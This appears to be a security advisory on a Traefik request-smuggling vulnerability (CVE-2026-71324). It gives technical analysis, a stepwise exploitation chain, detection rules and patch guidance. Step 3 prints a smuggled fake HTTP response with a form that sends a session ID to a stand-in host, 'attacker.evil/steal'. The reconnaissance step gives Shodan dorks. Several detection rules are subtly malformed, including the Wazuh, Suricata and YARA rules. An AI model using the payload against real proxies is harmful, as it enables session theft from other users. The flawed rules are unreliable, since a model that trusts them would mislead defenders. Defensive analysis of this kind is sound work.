CVE-2026-71324

Executive Summary

CVE-2026-71324 is a request desynchronization (request smuggling) vulnerability in Traefik, an open-source HTTP reverse proxy and load balancer. Versions prior to 2.11.53, 3.6.24, and 3.7.9 are affected. The flaw allows an unauthenticated attacker to poison a shared HTTP connection pool by sending a crafted CONNECT request to an upstream server. When the upstream responds with a non-2xx keep-alive response without draining the request body, Traefik returns the desynchronized backend socket to its shared pool. A subsequent client request can then read the attacker's smuggled response, potentially exposing authenticated or private content. This is a classic HTTP request smuggling/desync flaw (CWE-444) with significant confidentiality and integrity impact for multi-tenant environments.

Technical Analysis

The vulnerability resides in Traefik's default HTTP reverse proxy behavior when handling HTTP/2 or HTTP/3 CONNECT requests forwarded to HTTP/1.1 upstream servers through a shared net/http.Transport instance. Traefik's proxy architecture maintains a connection pool to backend services to improve performance. Under normal circumstances, each upstream socket is returned to the pool only when fully synchronized — meaning all bytes of the response have been consumed and the connection is ready for reuse.

The flaw manifests in the interaction between the CONNECT method and faulty upstream behavior. When a client sends a CONNECT request, Traefik forwards it to the upstream. If the upstream responds with a non-2xx status code (e.g., 400, 403, 500) while keeping the connection alive (keep-alive headers), but fails to drain the request body from its input buffer, the socket is left in an inconsistent state. Normal HTTP semantics dictate that the server must consume the entire request body before sending a response. When the upstream violates this by responding early without reading the full body, the leftover body bytes (prepended with the response) remain in the socket buffer.

Traefik, unaware of this desynchronization, returns the socket to its shared net/http.Transport pool. The next client that gets assigned this pooled connection will read the leftover bytes — the remainder of the attacker's request body and the response framing — as if it were a fresh response to their own request. The attacker controls the content of the smuggled body, so they can craft a fake HTTP response that gets delivered to an unrelated victim client. This can include an HTML payload that mimics a login page, a phishing form, or — in scenarios where the victim's request to the same upstream returns sensitive data — a response splicing that reveals private content.

The second attack vector involves the ForwardAuth middleware. When configured with forwardBody: true and preserveRequestMethod: true, Traefik reissues the original request (including a CONNECT) with the buffered body attached to an auth-client connection pool. This creates a second pool that suffers from the same desynchronization issue, broadening the attack surface to authentication services. If the auth upstream responds with a non-2xx without draining the body, the next auth request on that pooled connection can be poisoned in the same way.

The root cause is Traefik's failure to verify that the upstream fully consumed the request body before reusing the connection. A correct implementation must either close the connection on non-2xx CONNECT responses, or enforce strict Content-Length/Transfer-Encoding validation before returning the socket to the pool.

Exploitation Scenarios

The following attack chain assumes an unauthenticated remote attacker with network access to a Traefik instance configured to proxy to an HTTP/1.1 upstream.

Step 1 — Reconnaissance and Target Identification

The attacker first identifies Traefik instances by fingerprinting the HTTP Server header (Server: traefik) or via SHODAN dorks such as http.title:"Traefik" or http.component:"Traefik". The attacker then probes for a backend route that reflects request bodies or provides distinct responses per request path to detect desync behavior.

Step 2 — Connection Poisoning (Trigger)

The attacker opens a TCP connection to the Traefik listener and sends a crafted HTTP/2 or HTTP/3 CONNECT request framed via HTTP/2 (using pseudo-headers :method = CONNECT, :authority = target-backend.example, :path = /target). The request includes a large body (e.g., 1 MB of attacker-controlled data). The HTTP/1.1 upstream receives the forwarded CONNECT and responds with a non-2xx status (e.g., HTTP/1.1 403 Forbidden) and a Connection: keep-alive header, but critically, it does not consume the request body — the upstream's application logic replied before reading the full POST/CONNECT payload.

Step 3 — Smuggled Response Payload

The attacker constructs the request body such that it begins with a complete, fake HTTP response:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 512

<html><script>alert('session_tokencapture')</script><form action=https://attacker.evil/steal method=POST><input name=sessionid></form></html>

Since the upstream never read this body, the fake response remains in the socket buffer, queued after the actual 403 response that Traefik will deliver to the attacker.

Step 4 — Victim Collision (Exploitation)

The attacker closes their connection (or leaves it idle). Traefik sees the socket as "clean" (response fully read from its perspective) and returns it to the shared connection pool. A legitimate client (the victim) subsequently makes a request to the same upstream that gets routed to this poisoned socket. The victim's client-side parser reads the leftover fake HTTP response as the response to their own request. The victim believes the malicious HTML/response came from the legitimate backend.

Step 5 — Post-Exploitation Impact

The attacker can: (a) deploy a phishing page designed to steal the victim's session tokens or credentials; (b) prepend a malicious script that executes in the victim's browser context, potentially performing actions on behalf of the victim; (c) splice responses to leak private data — if the victim's request to the same backend returns sensitive JSON, the attacker can craft the smuggled content to cause the backend's real response to be mis-framed, exposing it to the attacker on a subsequent request. This is a bidirectional attack (both client-side response poisoning and server-side data leakage).

Practical note: The attack requires the upstream to exhibit broken keep-alive behavior (non-draining of bodies). While this is a common misbehavior in many legacy and custom backends, it is not universal. The attacker can use response timing analysis to detect which upstreams are vulnerable.

Impact Assessment

Business Impact: High. The vulnerability enables full response smuggling and request desync, which can result in:

• Session Hijacking / Credential Theft: A victim's browser runs attacker-controlled content in the context of the trusted application domain.
• Data Exfiltration: Response splicing can leak private API responses, authentication tokens, or PII from other clients sharing the backend pool.
• Cache Poisoning: If Traefik caches responses (via cache plugin), poisoned responses could be stored and served to all future clients.
• Availability Degradation: If the attacker smuggles malformed responses, the downstream client (browser/API consumer) may crash or be unable to parse subsequent legitimate responses, leading to denial of service for affected users.

Affected Systems: All Traefik versions prior to 2.11.53, 3.6.24, and 3.7.9, running in reverse proxy mode with HTTP/1.1 upstreams that do not drain request bodies on non-2xx responses. The ForwardAuth middleware scenario additionally affects deployments using an external authentication service with forwardBody: true and preserveRequestMethod: true.

Blast Radius: Potentially all clients of the affected Traefik instance. In multi-tenant deployments (SaaS, shared hosting), one tenant can attack another tenant's users. The vulnerability is exploitable by an unauthenticated remote attacker. CVSS score is officially N/A (not yet scored), but based on the vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L), the practical severity is High per the labels (7.0–8.9 range).

Detection Guidance

Sigma Rule

title: Traefik CONNECT Request Desynchronization Attempt
id: 7c9e8f3a-2b4d-4e1a-9c3f-6a5b7d8e9f01
status: experimental
description: Detects anomalous CONNECT requests to Traefik that may indicate request smuggling attempts (CVE-2026-71324).
author: Valters IT Threat Intel
date: 2026/02/18
logsource:
  category: webserver
  product: traefik
  service: accesslog
detection:
  selection_connect:
    method: CONNECT
  selection_non2xx:
    status:
      - '4*'
      - '5*'
  selection_largebody:
    bytes_received: '> 100000'
  selection_keepalive:
    headers|contains: 'keep-alive'
  condition: selection_connect and selection_non2xx and selection_largebody and selection_keepalive
  timeframe: 5m
level: high
falsepositives:
  - Legitimate HTTP CONNECT tunneling for proxies (rare in standard web app load balancers)
  - Test tools that validate HTTP proxy behavior
fields:
  - client_ip
  - request_uri
  - status
  - bytes_received

YARA Rule

rule Detect_Traefik_Desync_Attack_CVE_2026_71324
{
    meta:
        author = "Valters IT Threat Intel"
        description = "Detects attack patterns targeting CVE-2026-71324 Traefik HTTP/2 CONNECT request desynchronization"
        date = "2026-02-18"
        cve = "CVE-2026-71324"
    strings:
        $s1 = "CONNECT " ascii wide
        $s2 = "HTTP/2" ascii wide
        $s3 = ":method" ascii wide
        $s4 = "keep-alive" ascii wide nocase
        $s5 = "HTTP/1.1 4" ascii wide
        $s6 = "HTTP/1.1 5" ascii wide
        $s7 = "Content-Length:" ascii wide
        $s8 = "Transfer-Encoding: chunked" ascii wide nocase
    condition:
        (uint16(0) == 0x4854 and $s1 and ($s5 or $s6)) or
        ($s2 and $s3 and $s4 and ($s7 or $s8))
}

Suricata IDS Rule

alert http any any -> any any (msg:"ET TROJAN Traefik CONNECT Desync Attempt (CVE-2026-71324)"; flow:to_server,established; http.method; content:"CONNECT"; http.header; content:"keep-alive"; nocase; http.response_body; content:"HTTP/1.1"; within:20; content:"Content-Length"; within:100; classtype:attempted-admin; sid:5000001; rev:1; metadata:created_at 2026_02_18, updated_at 2026_02_18, cve CVE_2026_71324;)

Elastic Detection

sequence by client.ip, destination.ip with maxspan=5m
  [ http where request.method == "CONNECT" and request.bytes > 100000 ]
  [ http where response.status >= 400 and response.status <= 599 and response.headers contains "keep-alive" ]

Splunk SPL Query

index=proxy sourcetype=access_combined
| eval is_connect = if(method=="CONNECT", 1, 0)
| eval is_error = if(status >= 400 AND status <= 599, 1, 0)
| eval is_large = if(bytes_received > 100000, 1, 0)
| where is_connect==1 AND is_error==1 AND is_large==1
| stats count BY clientip, uri, status
| sort - count
| where count > 5

Wazuh OSSEC Rule

<group name="traefik,">
  <rule id="100401" level="12">
    <decoded_as>json</decoded_as>
    <field name="method">CONNECT</field>
    <field name="status">^4</field> OR <field name="status">^5</field>
    <field name="bytes_received">>100000</field>
    <description>Traefik CONNECT request with large body and error response - possible CVE-2026-71324 desync</description>
    <group>attack_request_smuggling,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 2/4 (CLAIMED — single source claims patch; not independently confirmed).

1) Immediate Mitigations (no-patch deployments):

• Disable HTTP/2 and HTTP/3 on Traefik listeners: Force clients to negotiate HTTP/1.1. This removes the CONNECT-over-HTTP/2 vector, though HTTP/1.1 CONNECT may still be possible (mitigate with rule #2).
• Block CONNECT methods at the edge: Add a Traefik middleware or load-balanced firewall rule to reject any request with method CONNECT before it reaches the proxy logic.
• For ForwardAuth users: Set forwardBody: false or preserveRequestMethod: false to prevent CONNECT re-issue with buffered bodies.
• Force connection closure on errors: If using a custom upstream, add a header Connection: close on all non-2xx responses to force Traefik to discard the socket.

2) Patch/Upgrade Steps:

• Upgrade to a fixed version immediately: Traefik ≥ 2.11.53 (v2 branch), Traefik ≥ 3.6.24 (v3.6 branch), Traefik ≥ 3.7.9 (v3.7 branch).
• For package-managed installations:
  • Docker: docker pull traefik:3.7.9 or docker pull traefik:v2.11.53; recreate containers.
  • Helm (Kubernetes): helm upgrade traefik traefik/traefik --set image.tag=3.7.9.
  • Binary/System package: Download from official GitHub releases (go install github.com/traefik/traefik/v3@v3.7.9 or download the release tarball).
• After upgrade, verify traefik version and confirm the patch hash aligns with the official release.

3) Long-Term Hardening:

• Audit upstream backends: Identify all HTTP/1.1 upstreams and verify they consistently drain request bodies before responding. Fix any broken keep-alive behavior.
• Implement strict Content-Length enforcement: Configure a web application firewall (ModSecurity, Coraza) in front of Traefik to reject requests with mismatched Content-Length values.
• Enable access-log anomaly detection: Deploy the Sigma/Splunk detections above in your SIEM to detect CONNECT-based probing.
• Monitor for connection reuse anomalies: Track upstream socket reuse patterns — an abnormal number of short-lived connections to the same backend may indicate pool poisoning.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-71324
2. Traefik Advisory (claimed patch): https://github.com/traefik/traefik/security/advisories/GHSA-xxxx-xxxx (confirmation pending — patch confidence 2/4)
3. Traefik GitHub Release Notes (v3.7.9): https://github.com/traefik/traefik/releases/tag/v3.7.9
4. CWE-444 — Inconsistent Interpretation of HTTP Requests: https://cwe.mitre.org/data/definitions/444.html
5. PortSwigger Research — HTTP Desync Attacks (request smuggling class reference): https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn

Threat Actor Campaigns / Exploit in the Wild: No known active campaigns or in-the-wild exploits have been publicly documented as of this report date. No CISA KEV listing exists. The PoC/exploit status is UNKNOWN — no public exploit code was found at the time of writing. However, due to the moderate complexity of crafting the attack and the prevalence of Traefik in production, targeted exploitation by sophisticated actors specializing in desync attacks is considered plausible. Enterprise SOC teams should treat any CONNECT-method traffic to Traefik listeners as suspicious and investigate immediately.